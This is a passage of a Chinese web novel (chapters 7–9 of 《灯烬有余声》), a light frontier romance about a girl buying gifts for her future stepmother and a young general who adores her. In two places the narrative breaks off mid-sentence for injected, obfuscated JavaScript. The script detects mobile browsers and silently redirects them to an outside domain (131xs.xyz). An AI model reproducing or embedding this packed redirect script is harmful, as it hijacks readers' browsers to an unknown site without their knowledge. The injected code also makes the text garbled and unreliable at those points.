《灯烬有余声》 7.新衣 翌日,越清音睡到日上三竿,才迷迷瞪瞪地醒过来。 映入眼帘的是一张细白布帐,轻盈的纱布四面垂拢,被花窗投进来的日光照得金灿灿的,乍一眼好像卧在了明亮的金笼子里。 越清音坐起身,用宿醉的迟钝脑子想了想,终于记起这是越柳营设在融州城的客馆,平日只用来招待到访的贵客。 昨日慕相玄出来得匆忙,还未来得及寻找托辞应对越将军。 他担心兄妹二人回去就要挨军法,于是将两人送来这儿,让他们先将就住着,等他处理好了再回去。 原本越清音说不必麻烦,横竖已经在望月坊定了上房,不如在那边睡一夜就好了。 但向来百依百顺的少年一反常态,执拗地拒绝。 他说除非他死了,不然她这辈子也休想在男风馆里过夜。 越清音只好遗憾地踏出富贵奢靡的花楼,来到这所朴素清净的客馆。 眼下晨光明媚灿烂,睡饱觉的少女洗漱完就恢复了精神活力。 她换上慕相玄提前准备的衣裙,兴致盎然地编了发辫,浅色发带俏生生地迎风轻扬。 “二哥!二哥!” 乌维言困得睁不开眼,可敲门声越来越大,客馆的榆木门框嗡嗡直震。 他勉强提起一口气,踉踉跄跄荡到门边,拉开房门:“做什么……” 啪地一声,神采焕发的少女将拧好的干净帕子盖上他的脸,清凉湿润的水汽扑面而来,强行揪回他游离大半的神魂。 乌维言打一激灵,下意识抓住帕子抹了把脸,听见义妹迫不及待的催促声。 “二哥快收拾!今日我们出去买东西!” 越清音今日醒了酒,再回顾昨夜之事,就忍不住直跺脚,怪自己糊涂! 真不该听了那小倌受后娘折辱欺负的凄惨遭遇后,就早早地成了惊弓之鸟,对她尚未过门的继母感到畏惧害怕—— 毕竟俗话说,做贼的不全黑,当官的也不全白。 越清音想,那后娘当然也不全是恶的。她还未亲眼见过人,怎能如此草率地认定她的继母就是心狠手辣的呢? 更何况,屠军师让她多入红尘、修结善缘,说不定,这道赐婚圣旨也是她的善缘呢。 此时已经红日三竿。 越清音与乌维言走入摩肩擦踵的街市,早膳也没吃就往两侧铺子里扫视。 乌维言问:“说吧,今日你想买些什么?” 越清音将自己晨起时的懊悔同义兄说了,又道:“你想想,人家可是权门贵戚养出来的金枝玉叶。” “她突然被圣上赐婚,要背离故乡,远远地嫁到融州城来,想必心里也不好受。” 越清音将己度人,当初二皇子说要与她联姻,她也提心吊胆过很长一段时间。 如今圣上没看上她,看上了她爹,于她是种解脱,但于人家姑娘来说,何尝不是种无妄之灾、也令人家提心吊胆的呢。 乌维言觉得有理,但还是安慰义妹: “越将军虽然年近四十,但好歹英武不凡、人品贵重。而且徐郎半老,他还残存几分姿色,也不算是糟糕透顶的归宿……” 越清音幽幽叹气:“即便如此,男子还是粗心,况且我爹大半颗心都系在越柳营上……” 她郑重其事地拍了拍义兄的肩:“所以,照顾好远道而来的继母的责任,就只能由我们越氏双杰来承担了!” 在乌维言逐渐被感化、变得同样坚毅的眼神下,越清音大手一挥,笃声道: “今日的任务,就是为我们的继母挑选礼品,务必让她感受到我们的善意!” 善意的兄妹俩将自己身上摸了个遍,好不容易才凑出十来块碎银,大部分还是昨日慕相玄荷包里剩下的。 二人头抵着头,数了数可怜兮兮的余银,窘迫得直搓手。然后又互相宽慰着“礼轻情意重”,昂首挺胸走向两侧商铺。 银钱不多,越清音精打细算,仔细挑了些讨女子喜欢的精巧玩意儿,又特意往吉祥喜庆的方向选。 随着日头往西沉,两人手上逐渐多了东西,步子一拐,准备跨入新店时,少女的目光被店门前的小摊牢牢牵引住。 小摊老板很是机敏上道,立即招呼:“姑娘,有新来的话本子,要不要瞧瞧?” 这摊子不大,但五彩斑斓,林林总总码了不少书籍画册。 越清音的视线徘徊在前排的志怪话本子之间,打头有本书册,蓝底封皮上绘了位簪花仙子,跨骑一吊睛白额虎,虎容震怒,正欲扑敌,怎么瞧怎么新奇有趣。 乌维言见她目不转睛,立马摊开手给她看所剩无几的银两,制止道:“不可以买无用之物,咱们不剩什么钱了!” 越清音不服气,顶嘴道:“怎么就无用了,说不定她也爱看话本子呢!” 乌维言直言击破她的幻想:“只听说过大家闺秀爱看些诗啊词啊的,没听说过她们还爱看人骑着大虫打打杀杀的。” 越清音被哽得一噎,无法反驳。 她瞟了瞟孤零零的几个银钱,耷拉下脑袋准备离开。 小摊老板眼见煮熟的鸭子要飞,连忙拦道:“二位先别急着走!是要买书给旁人吗,小的这儿也有些闺秀爱读的诗词,说不定能合二位心意!” 闻言,越清音止住脚步,与乌维言对视一眼。 两人恍然想起未来继母的门第身份,不约而同觉得赠书或许是个好主意,于是又蹲回小书摊面前。 只是兄妹俩不学无术,分不清诗词好坏,只能托老板帮忙挑选,老板二话不说就应了:“不知二位是要赠书给何人?” 两人抓耳挠腮了会儿,实在不清楚继母的情况,便含糊道:“是位新婚的女子……” “哟!” 书摊老板眼珠子滴溜转了圈,立马凑近压声道:“新婚女子,蜜里调油,看什么伤春悲秋的诗词呀!” “我这儿有几本新鲜话本子,巫山洛浦,儿女情长,在新婚妇人间卖得可好了,就连大户人家的主母也遣下人过来买呢!不怕二位的友人不满意!” “竟比诗词还受欢迎?”两人迷茫道。 “那当然!”书摊老板拍着胸脯保证。 他得意洋洋地想,那几本话本子图文并茂、花样俱全,于羞涩又好奇的新婚夫妻而言,那可是难得一见的绝世好书,幸亏他慧眼识珠早早订了货,不然都难抢到货尾! 书摊老板目光掠过二人手中的银两,嘿嘿笑道,“就是拿货很不容易,所以这价钱嘛……” 纯朴的兄妹俩真当遇上了鸿篇钜制,为了讨赐婚而来的新娘子欢心,很大方地挑出银子拍到书摊上:“价钱好说,给我们来一份!” “好嘞!”老板乐颠颠地应了。 越清音眼巴巴地等着他取话本子出来,谁知只见他从书摊底下掏出个严密包裹,里外三层都是厚实油纸,连一丝书缝都看不着。 书摊老板摆出副“你懂我也懂”的娴熟表情,推到两人面前。 两人迟疑地对视一眼,不明白为何包得如此严实,莫非旷世之作纸张矜贵,不能随便见光? 书摊老板将他们的犹豫收入眼底,却误解了,了然于胸地挤眉弄眼。 “我懂,虽有油纸包裹,但也招人视线,需不需要我帮忙送到府上?” 两人听闻还有这等便利好事,当即爽快答应:“好啊!” 只是二人如今暂住客馆,收取不便。 于是兄妹俩一商量,说道:“有劳老板,将这几本大作送去越柳军营。” 越清音笑眯眯地补充道:“你送到慕将军的帐子里,就可以了!” * 这边兄妹二人经书摊一事,彷若打通任督二脉,发现了最省心也最妥善的选礼法子。 二人逢店就问有无商货适合新婚女子,能否帮忙送到越柳营中。 多数商铺不得要领,同二人大眼瞪小眼,但也有些格外圆滑的——例如成衣铺子的女掌柜。 老板娘听言先是一怔,待抬头看清是对鲜嫩俊俏的少年男女,登时人情练达,一张圆脸笑开了花: “新婚是吧?给姑娘穿的是吧?” 兄妹俩老实巴交地点点头。 老板娘懂了,手绢儿一扬,笑道:“二位可算是找对地方了,奴家这儿样样齐全!” 越清音问清能帮忙送到越柳营,便数数剩余不多的银两,全部放到老板娘的手心里:“那劳烦掌柜帮我们掌掌眼,挑些好的……” 然而话未说完,老板娘就风情万种地撞了撞她的肩。 她同少女咬耳朵道:“放心,保管让你家夫君一整夜都叫你心肝!” 越清音莫名打了个冷颤。 成衣铺子的不远处,正与手下巡城的少年将军莫名打了个喷嚏。 下头有个络腮胡将士挤上前来:“将军,别是风寒了吧?” 正是前儿在演武台讨饶的士兵刘家二郎。 昨儿越将军连夜差人去捉越清音兄妹俩,结果士兵们无功而返,都说找不着人。 营中将士们私底下都说,是那越氏双孽故意躲了起来,不知去哪儿胡闹了。 刘二也不意外,大咧咧道:“将军你别想费心找人了。” “越姑娘熟知融州城的大街小巷,只要她有心想躲,营里的人就不可能找得到她。” 他打了个哈欠,算是宽慰自家将军:“小姑娘性子贪玩,等她玩尽兴了,自然就会回来,你何必担心忧虑,白白伤了自己身子……” 慕相玄懒得解释。 但他倒有兴致多问一句:“从前她出营玩耍的时候,你们也找不到她?” 刘二自然道:“是啊,融州城那么大,找个人可不容易。” “找她很容易,”慕相玄轻声道,“是你们不用心找。” 刘二不服气,想要辩驳,慕相玄已经领着人继续沿着街市往前巡逻了。 少年一边走,一边说道:“晨起清凉,早集热闹非凡,她喜欢去那边看新入城的驼队,要尝新鲜的奶酒与糖胡饼,要逛逛新支起的小摊子,总爱挑些古怪的小东西。” “晌午日头大了,她在街市逛不了一会儿,就要寻个茶楼或酒家,尤其偏爱于厅堂内有说书唱戏曲的,一壶清茶,两碟小糕,她就能坐着听好久。” “到了傍晚,她玩累了想回营了,可见到落日就爱打盹,于是总会在城西的河堤坐下,乖乖看着鸭子凫水,等到有营中将士路过,分她一匹马再骑回家。” 慕相玄侧目,远远望向街市里的成衣铺子,一眼看见少女站铺子门口东张西望、挑选茶楼的身影。 他轻声重复道:“分明是你们不用心找。” 刘二顺着他的视线发现兄妹俩的人影,吓了一跳,只道见鬼了。 他忙捞着他家将军的肩膀转过身去:“别看了,找到人又舍不得强捆回去,待会儿越将军要怪罪我们纵容包庇了!” 一行将士稍走远了些,直到经过钱庄大门才停住脚步,要取用银钱的人顺道进去取些。 有位年轻士兵收起新取的钱袋子:“哎,你们没家室的不知道,家中有女眷,银子花得就是快。” 他状似抱怨,脸上却是喜眉笑眼:“我夫人总爱乱买东西,衣裙呀首饰呀,每日打扮得跟花儿似的。我这做丈夫的,时不时就要来支取一次银钱,哎哟,苦恼呀……” 几个光棍同伴听了大怒,纷纷叫他闭嘴,不然当场打死。 唯有慕相玄刚取了银两,站在原地若有所思。 他表示理解:“我家女眷也爱乱买东西,昨儿还叫了二十名小倌,要买他们一夜,真是让人苦恼。” 将士们:“……” ……将军你要不长点心呢,这是乱买东西的问题吗? 而刘二不知何时买了坛酒回来,美滋滋道:“你们到底年轻,没经验,该学学刘二哥我。” “家妻买了啥,我偷偷退回出去一点,她不会注意到,我还能换点酒钱……” 话音才出,嘘声一片。 方才取钱的士兵直呼贼头贼脑,非大丈夫所为,不多时两人就吵成一团,身边的将士们劝个不止。 慕相玄最不喜听杂声,索性转头望回成衣铺子的方向。 系着浅色发带的少女刚从女掌柜手里接过找钱,笑逐颜开地领着义兄去茶楼。 她穿了套嫩黄的褙子旋裙,比昨日那身士兵夏衫更衬她百倍,柔软裙摆会随着步伐绽开,在人群中也十分鲜妍惹眼。 这身衣裙是他昨夜匆匆敲开铺子的门买的。 原本还担心她又会说出“予我衣食,是为父母”那样耸人听闻的话语,昨夜他都不敢同她多交待就急忙离开了。 但今日他站在喧闹人群中,回想起方才士兵们的谈话。 慕相玄悄悄地想,原来,丈夫给妻子买衣裙首饰也是天经地义,那他想给她买多少都可以。 少年安静地注视着她逐渐隐没的身影,直到有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744863|173490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然跑近,他才回过神。 来人一副小厮模样,跑得气喘吁吁。 对方见到他,乍然双眼一眼,很是惊喜:“慕将军,是慕将军吗?” 慕相玄往日常在这片巡城,认出对方是成衣铺子里头的小厮,朝他点点头。 那小厮一副捡了便宜的欣喜模样:“巧得很,一出门就撞上您了!” 他将手中的包袱往慕相玄面前一递,笑道:“您拿着,越姑娘刚在我们铺子里头买的,特意吩咐了要送到您那儿去!” “送我那儿?”慕相玄意外地挑挑眉。 “对啊,”那小厮挠挠头,也说不明白,“我依稀听见,说是给什么新婚新人准备的……” 慕相玄眼睫轻轻一跳。 给新人准备的,还要送到他那儿去——大约是什么成双成对的新衣。 他接过扎起来的棉布包袱,只觉摸到了甜软软的蜜糖,心底禁不住地升起欢喜,迫不及待就想要看看。 他同小厮道了谢,寻到角落坐下。 将士们还在吵闹,余光里只见自家将军背向人群,打开了越姑娘差人送来的包袱。 然而,少年将军只低头看了一眼,身形就猛然僵住,再静两息,耳根子腾地热得要冒烟。 将士们大觉稀奇,纷纷探头来看:“咋了咋了,那是什么?” 慕相玄反手就将那包袱合上了。 他看着众人,灵魂却已出窍,甚至疑心自己双目昏花,不然怎会看见那种…… 那种似乎不大寻常的…… “没什么。”少年勉强稳住心神,等支使手下们离远了些,才不敢相信地再次打开包袱确认。 他指尖微颤,轻轻捏起最上层的衣物。 小小的一块菱形料子,系带柔弱纤细。 他记得清楚,昨夜去给清音买替换的衣物时,铺子里女掌柜就准备了一件相似的,说是女子贴身穿的小衣。 可他手里这件也有不同,粉白轻盈,纤薄得近乎透明,哪怕隔着布料,他托在下方的手掌纹路也依然清晰可见。 ……这样薄的料子,能遮住身子么? 慕相玄仓惶地垂了垂眼睫。 底下还有件软绵的浅粉衣物,他小心翼翼地碰了下,只觉像条寻常亵裤,可不知为何,腿心那儿没有缝合,敞开了道颇为大方的口子。 若是真的穿上,怕是只要稍微分开双腿,春光就会一览无遗…… 方才那小厮的话语犹在耳际,慕相玄咬咬下唇,局促得脖颈到耳边红成一片。 清音为何要买这样的衣物…… 他提醒自己,想想方才手下说的话,她年纪小又贪玩,就是爱乱买东西的…… 可心神还是越来越乱,哪怕身处喧嚣闹市之中,也克制不住地想起那些逐渐长高身量的深夜里,有过许许多多场羞于启齿的梦境。 这些衣物就像是缥缈梦境破开窗纸,来到了触手可及的现下。 慕相玄将包袱揉合起来,心慌意乱地想,她知道这些衣物是何用途么…… 她知道将这样的衣物穿在身上,她会是什么模样么。 他忍不住想了想,但他想象不出,过往的梦境都是朦胧模糊的,青天白日也驱散不了影影绰绰的梦里白雾。 少年坐在角落,把脸埋到膝间,一个人在闹市里兵荒马乱。 偏生他的手下很不解风情,斗嘴吵闹也就罢了,年轻士兵们还非要过来拉他评理:“刘二好生过分!” “将军你说,自家夫人买的东西,你会想拿去退掉、换来酒钱吗!” ……会想拿去退掉吗? 慕相玄下意识攥住包袱一角。 半晌后,他低头小声道:“不会……” 年轻士兵宛如受了鼓舞,又是一阵闹嚷,刘二不服了,提着酒坛子振声道:“男人有点爱好怎么了!又不是大错!” “家妻彪悍,明知我爱酒,却从不给我买酒喝,我扣扣搜搜地倒腾两口,怎么了……” 慕相玄哪怕半聋也听得见刘二的嚎叫。 他移过视线,追去清音离开的方向,双颊微热地想,幸好他的妻子与他少小无猜。她温柔体贴,他永远都会听她的话…… 那边刘二被逼急了,大吼一声:“等你们以后受不住,就知道了!” 少年嘴角的笑意一顿,搂紧怀里的包袱。 他微恼地想,他才不会受不住! * 落日熔金,城西的河堤撒满夕阳余晖。 河鸭子成群结队,在碧波间凫游,时不时扎下脑袋衔鱼,留个毛绒绒的白屁股在水面上。 碧色的涟漪荡到堤岸,湖边一对少年兄妹的倒影被打乱。 乌维言叼着草,百无聊赖地躺在草岸上:“相玄今日要巡城吧,又没事先约好,你确定我们蹲得到他?” 越清音摆弄着身边的一坛子酒,随口应道:“蹲得到的,他待会儿就会过来。” 乌维言不大相信:“他们巡城的要满城游走,行迹不定。万一去了哪个街巷,绕路回营地了呢……” “这么多年,你连他的行迹都不知道?”越清音莫名其妙地看他一眼。 对着义兄困惑的眼神,越清音仔细擦去酒坛身上的泥沙,耐心说道: “清晨的时候,早集人多货杂,他习惯去那边巡查,他会警示新入城的驼商,不许他们争抢摊位,悬羊卖狗、弄虚作假。” “晌午日头大了,食客渐多,他常去街市那边看着,到茶楼酒馆四处走走,领着手下的士兵,充分威慑贼盗。” “到了傍晚,城西关口即将关闭,百姓商人通行如织,他时常到这边来,防着蛮横之人插队斗嘴、打架闹事……” 越清音远远眺了眼西侧的城关。 “等巡城差不多结束时,他就会经过这处河堤,会找到我。” 河堤的清风迎面拂来,她额间的碎发往后吹起,露出光洁白皙的额头。 少女惬意地眯眯杏眸,手臂摆后撑住身子:“他总会说好巧,然后陪我看一会儿鸭子。” “只要我说一句累了,他就会把马让给我,牵着我的马缰,陪我回家……” 浮光跃金,河面上碎影流连,身后有踢踏的马蹄声,还有下马的脚步声靠近,河畔野鸭子被惊得匆匆藏进芦苇丛中。 越清音似有所感,抬起脑袋往后看。 少年正好弯下腰,朝她露出清爽俊朗的笑。 “好巧。” 8.可是 “相玄!” 越清音一下就从河堤上跳了起来,双眼亮晶晶的:“好巧。” 斜阳晚照正是灿烂,慕相玄抬高手,故意拎起几个香气四溢的荷叶包,笑着对她晃了晃:“猜猜这是什么?” “好香!” 堤岸上的少女欢呼一声,跑到他提起的荷叶包旁,绕着连转了好几圈:“让我闻闻……” “是不是有炙羊肉,糖胡饼,牛肉包子!” 她停在一个纸袋子前,探着鼻尖认真地闻:“还有这一样,是,是……” “糖栗子,”慕相玄眼里漾出笑意,“我在你最爱吃的那家摊子上买的。” 他将那纸袋挑出来递给她:“幸好在这儿遇见你了,趁热吃。” 越清音欢欢喜喜地接过,打开袋子先埋头数一遍有几颗栗子。 一旁的乌维言目瞪口呆:“不是,你俩还真能遇上啊……” 慕相玄没搭理他,转身想去陪越清音数栗子,却发现她今日梳了个新鲜发式,似乎是从前未曾见过的。 少女将棕栗长发梳拢,在耳后挽成两个柔顺的垂髻,余下的青丝自然垂落肩头,被她常用的浅色发带系起,瞧着像只乖巧的垂耳兔子。 她肩下有段发带系得松散,在河堤的徐风里轻飘飘地荡,有一下没一下地招惹着他左侧的衣袖。 慕相玄稍挪半步,那段风中的发带便彻底贴蹭过来,与他的衣袖如胶似漆地缠在一处。 他看了会儿,又抬眼看她的发髻。 越清音察觉到他的目光,从栗子堆里抬起脑袋:“怎么了?” 少年老实称赞了句:“好看。” “是么?” 越清音杏眼弯了弯,又晃晃脑后的发束,像晃两只柔软的垂耳朵,“其实我手生,梳得不好,你大概没见过别人梳的,会更精神更好看些……” 别人么? 慕相玄缓缓地想,他有没有见过别人梳这发式,答案竟一下子有些模糊…… 大抵是因为,他对于女孩儿的所有了解,几乎都是从她身上得来的。 从他们一起长大的每个日夜里得来的。 他每日都看着她娇娇俏俏的模样,看着她开心就朝他仰脸笑、闯祸就跟他卖乖耍赖的活泼性子。 还有她爱穿的那些色彩鲜妍的衣衫裙子,她时常捣鼓的新发式,他看着她将棕栗的发丝挽成髻、编成辫,而她母亲为她绣的浅色发带常年系在发间,迎风时就像振翅翩跹的蝶。 他看着看着,心底就有了个清音的影子。 任何和女孩儿有关的问题,他都从那个影子上面找答案。 所以于他而言,一个发式,她梳成什么样,那个发式就该是什么样的。 他的心里面,没有别人可以参考比较了。 越清音没听见他回话,也不在意,同他玩笑道:“莫不是什么敷衍的恭维话,随口说来哄我开心的?” “不然,为何每次我换新发式,你都要说好看?” 慕相玄怔然:“可你就是很好看啊……” 他对她的问题有种近乎迷茫的不解,偏偏就是这样的迷茫不解,愈发显得言是心声。 越清音被哄得小小得意了下,甜滋滋地对他翘起嘴角。 “够了!” 一旁的乌维言左看看、右瞧瞧,终于受够了被无视。 他飞身起来挤进二人之间,对慕相玄喊道:“够了!别再看我妹了,我还有账要与你算!” 越清音向来不插手少年之间的恩怨,闻言知情识趣地撤到一边吃栗子。 乌维言痛心疾首,质问慕相玄:“咱仨都是喝一个井里的水长大的,本该亲如手足,你为何如此偏心!” 慕相玄瞥了眼专心吃栗子的姑娘,才懒洋洋问道:“我怎么就偏心了?” 乌维言有理有据地控诉:“昨儿你丢我进房,连被子都懒得给我盖,却有功夫去给她买换洗的衣衫!” 慕相玄还是冷静:“她昨日穿的是身军衫,本就不合身……” 乌维言怒了:“那你都去铺子里了,为何不给我也买一套换洗的?昨夜吃酒,我这套身上全是酒气!” 慕相玄莫名其妙:“我哪知道你身上有没有酒气,我又不会闻你……” 听此,乌维言一下子转不过弯,不自觉问道:“什么意思,难不成你会闻她吗?” 慕相玄:“……” 少年静了两息。 然后他若无其事地转头去招呼越清音:“累了么?” 越清音嚼着栗子点点头。 慕相玄给乌维言丢了条马鞭,又去拉清音:“走吧,带你们去个地方。” 乌维言:“?” 乌维言追在后面:“哎等等!你为何跳过我的问题——” * 融州城关外,绿野与青河的交接处有一片浅滩。 星星点点的篝火堆沿着河岸分布,干燥的柴火烧得噼啪作响,点亮方寸之间的浅滩,照映出途人的身影,或是边关游走的驼商,或是赶路的百姓,各自三两作伴,准备夜间的饮食与露宿。 三匹鬃毛乌亮的高马正在低头啃食夜草,在它们的不远处,有簇崭新火堆刚刚燃起。 慕相玄捡了枝稍长的干柴拨弄火堆,一边说道: “郭修谨的婚宴设在於康草场,眼下我们在融州也没什么要紧事,不如早些过去帮忙。” 况且,那边设了新的祭坛,祈祷大昭边关领土风调雨顺,寓意吉祥。 如无意外,赐婚圣旨也会在那儿宣读,提前两日过去总是好的…… 想到这,他往清音那头看了眼,见她目不转睛地盯着扑闪的柴火堆,又忍不住轻叹气。 据闻在他还没入军营之前,她曾在战火间走散过,被找回时生了一场重病,差点人都没了。幸亏听了屠军师的掐算,多结善缘,捡了乌维言做便宜兄长,才玄而又玄地醒了过来。 虽说人醒了,但也忘了不少事,白白落下一个怕黑的毛病。 慕相玄觉得她忘了也好,他都不敢去想她经历过什么,那样天真无忧的性子才会害怕黑夜。 他默默将柴火堆的火光拨到最亮,见她明显松了一口气,才摸摸她的发顶。 “你先坐会儿,我去河边打些水回来。” 越清音烤着暖融融的火光,爽快答应了。 慕相玄又同乌维言递了个眼色:“你在这守着。” “知道了,快去快回。” 乌维言大咧咧地朝他摆摆手,而后蹲到越清音的身边陪她解荷叶包裹。 越清音闻了一路的炙羊肉香味,早就馋得口角要流涎,三两下将菅绳解开,立马就要伸手去够炙肉片。 啪地一声,下一刻就被打了手。 “在外玩了一日,不能用手抓。” 乌维言捡来几根细长的树枝,要削去树皮作筷子使,叫她把刀子递给他。 越清音捂着手很委屈:“人在快饿死的时候,是顾不上用筷子的。”话说着,还是解了自己腰间的匕首递过去。 “说得好像你快饿死了一样……”乌维言随口应着话,接过匕首。 越清音眼巴巴地等着他削树皮,谁知胡人少年一低头,对上那把玄黑的冷匕,面色瞬间凝滞。 “……你就给我这把匕首?” 越清音诚恳道:“我只有这把。” 乌维言彷若接了个烫手山芋,左手拿也不是,右手拿也不是,最后索性将匕首抛回给她。 他咬牙切齿道:“你知道相玄用这匕首割过多少人头吗!” “用凶器削筷子,你还吃得下饭?” “为什么吃不下……” 越清音满脸都是无法理解:“他都用烈酒煮沸洗过了,再说我真的饿了……” 兄妹俩大眼瞪小眼地对峙着,最后妹妹不情不愿地往后退一步:“那你说怎么办……” 乌维言往旁边的火堆看去,估摸着十来步的距离,有几位面相颇和善的百姓,恰好也在分切熟肉,似乎还有多余的小刀。 他认认真真嘱咐道:“我去隔壁借把刀子,你别乱跑,有人来就喊我,知道么?” 炙羊肉在前,越清音自然无有不应。 待乌维言起身,她拿回自己的匕首,放在膝上端详,心中困惑,割过人头怎么了?那是相玄动手割的,有什么好膈应的…… 她在心底为匕首正名,耳边却忽然听见几道凌乱的步伐声。 似有阴湿的毒蛇爬上脊背,越清音不自觉后颈微紧,下意识抬头看。 是几位提着酒壶的驼商男子,喝得满脸通红,衣带帽子扯得紊乱,不知怎的从她的火堆前经过。 许是野外少有落单的少女,那群人见了她,意外地哟呵几声,歪歪扭扭地停住脚步,肆无忌惮地用眼神扫视她,像看一碟助酒兴的菜。 越清音攥了下匕首。 然而未等她转头喊二哥,面前几人忽然眼神游离了下。 他们仿佛发现了什么棘手的存在,不再往这边觊觎,只互相嘀咕着转过头,推推搡搡灌着酒走开了。 越清音似有所感地回过头。 打水回来的少年就站在她的身后,一手有意地搭在剑鞘上。 他额发阴影下的双眸冷沉,仍盯着那几人离开的方向,腰侧的长剑银鞘被篝火映得寒芒森森。 “相玄?” 她如常唤了声。 “……嗯。” 慕相玄敛下眼底的情绪,松开长剑,跨步到她身边坐下,轻声问:“吓到了?” 越清音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770455|173490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇摇头:“当然没有。” 慕相玄左右看了眼:“阿言呢?” “这儿呢这儿呢!”乌维言三步并两步飞回来。 慕相玄:“我不是叫你守着吗?” 越清音额筋一跳,知道这二人铁定又要吵,索性又低头剥起了栗子。 乌维言早就瞧见了方才的事,有些懊悔自己大意走开,也知晓这小聋子曾被二皇子闹过出阴影,或许现在还在后怕。 于是他好声好气地解释:“我刚去那边借刀子了,可我眼睛一直盯着呢,一瞧见来人就立马回来了……” 慕相玄皱起眉:“这儿是城关之外,鱼龙混杂,又昏天暗地的,你怎能丢下她一个人?” 乌维言讪讪:“其实我就离了十步远的距离……” 慕相玄恼道:“守着,是一步都不能离!” 乌维言也怒了:“若我当真与她一步也不离,只怕你又要嫌我挨得近了!” 慕相玄:“……” 两人年少气盛,说不了两句话就争执得面红耳赤。 眼瞧着还有要动手的迹象,恐怕会波及到她的炙羊肉,越清音终于丢下栗子壳,将怀里的纸袋一推,轻轻呀了声。 好似凌乱的湖面被风吹过抚平,慕相玄的注意力一下子拉了回来。 “怎么了?”他回头问道。 篝火前的少女随手捡了个午间在街市买的木盒,似乎很苦恼:“我好像打不开了……” “我试试。” 慕相玄说着,随手往前一抄,接住乌维言泄恨扔来的果子,满不在乎地扔到一边。 以此宣告休战,他掀袍坐到清音的身侧。 少女递来个竹丝编造的盒器,打磨得细润光滑,触手温润,是件颇为巧心精工的物什。 他拿到手上缓缓摸索了会儿,寻到暗扣,食指轻一拨动,木盒应声而开。 “这样就行了。” 他将竹丝盒的小机关指给清音看,想顺手交还给她,然而视线掠下,看清盒内的绣图,又有些发愣:“这是……” 越清音探来脑袋,应道:“哦,赐婚圣旨不是快到了么?我提前准备了些喜庆的物件……” 盒内的彩线绣图被篝火照亮,麒麟驮着童子,口中衔住莲花,是幅瑞兽送子图。 乘着晚风,她舒舒服服地靠到他肩头,对他笑了起来。 “这是铺子里的掌柜推荐的……连生贵子,你说好不好?” 慕相玄指尖微紧,张了张口,又用力抿住唇线。 他记得上回在望月坊的隔间,她也有提过子嗣的话题,只是他当时羞赧,不知该如何同她细细说清,没承想让她懵懂到了今日。 少年稍微低下眼帘。 民间避凶趋吉,生育背后的苦难受人避讳,不会广而告之,可他却十分清楚。 他在幼时见过母妃怀胎的辛苦,见过她好不容易熬到分娩,却苦苦惨叫了两天两夜后撒手人寰,王府内外忌讳,只说“凤凰不下”,连难产二字都不曾对外诉说。 慕相玄有些懊恼,先前他自持于年长她一岁,多少知道些男女之事,就贸然遣走了她的婚仪嬷嬷,如今看来真是做了件糊涂事。许多事情无人同她诉说解释,她哪能明白呢。 “清音……” 他将那竹丝盒合上,和声解释道:“怪我没早些同你说清,其实,此事真的不必着急。” “血脉之事,我并不看重,况且你身子骨又弱,我光是想想都觉得十分担心害怕……” 越清音迷茫地看着他:在说什么? 她看清他欲言又止,仿佛满腔话语,想说却又不知该怎么说。 她隐约有所察觉,迁怒地朝乌维言瞪去一眼:是不是你又把他气到发病了! 稍远处的乌维言削筷子的刀忽然哆嗦了下,迷惘不解地抬头四顾。 “总而言之——” 慕相玄索性直接扔了那竹丝盒子,闷声下了定论: “此事迟些再议,不议最好。” 越清音看见那送子的盒子咕噜咕噜滚了两下,险些要滚进火堆里,抗拒意味明显,这下她总算明白他的意思了。 只是她虽一知半解,却也知晓延续血脉是夫妻之间的私事,若她爹非要与后娘生子,她做女儿的又能怎么阻拦? 少女低头揪着他的袖口,只觉他给她提了好大一个难题,委屈地扯松他的护腕又系上。 “这事又不是我说了算的,难道你可以控制么……” 慕相玄瞥见她细白的指尖,蓦地想起那几件暧昧缱绻的衣物,还有那些经年萦绕不散的梦中旖旎,一时之间竟觉“控制”二字难于登天。 越清音没听见他回答,微微抬起些视线。 少年轻轻低头抵着她的额鬓:“我可以。” 9.痴病 三人在军中长大,随军扎过营。 虽然如今战事太平、商旅安顺,但出了城关仍下意识按扎营的方向坐位,或背山面水,或迎风朝向日出,三双眼睛将四面八方的动静都看得清楚。 慕相玄倒水出来,想要洗些果子。 越清音裹着慕相玄的外袍,懒洋洋地烤火。 自那日躲进隔间之后,她隐约发现了新的趣味,见慕相玄坐在身侧,便试探着悄悄去挽他的胳膊,葱白的指尖偷摸着搭上少年紧实的手臂。 她的动作轻巧小心,眼神却明目张胆,好奇又直勾勾地盯着他的反应,盯得慕相玄眼睫毛颤个不停,洗果子的手接连打滑了好几次。 但到底没有挣开她的手。 少女满意于他的顺从,终于大发慈悲放过他,清灵灵的杏眼转去了别处。 一旁的乌维言埋头与借来的小刀斗智斗勇,好不容易削出两根木筷,得意洋洋地向他的义妹展示:“瞧,这不就行了!” 他大方地将炙羊肉一并推上:“你饿了,你先吃。” 然而,方才叫了半天肚子饿的越清音却不作动弹,仍一动不动地维持着同样的姿势,望向同一个方向。 两名少年意识到什么,都停下手里的动作,不约而同地循着她的视线望去。 只见青河的河畔停了几匹新的大马,显然有一伙儿新客到来。 为首的是名红衣少年,约莫是弱冠的年岁,身量极高,怕不是有近九尺,似乎翻身下马就只是弯个腿的功夫。 见身边少女一双杏眸乌溜溜地往人家身上转,慕相玄愣了下。 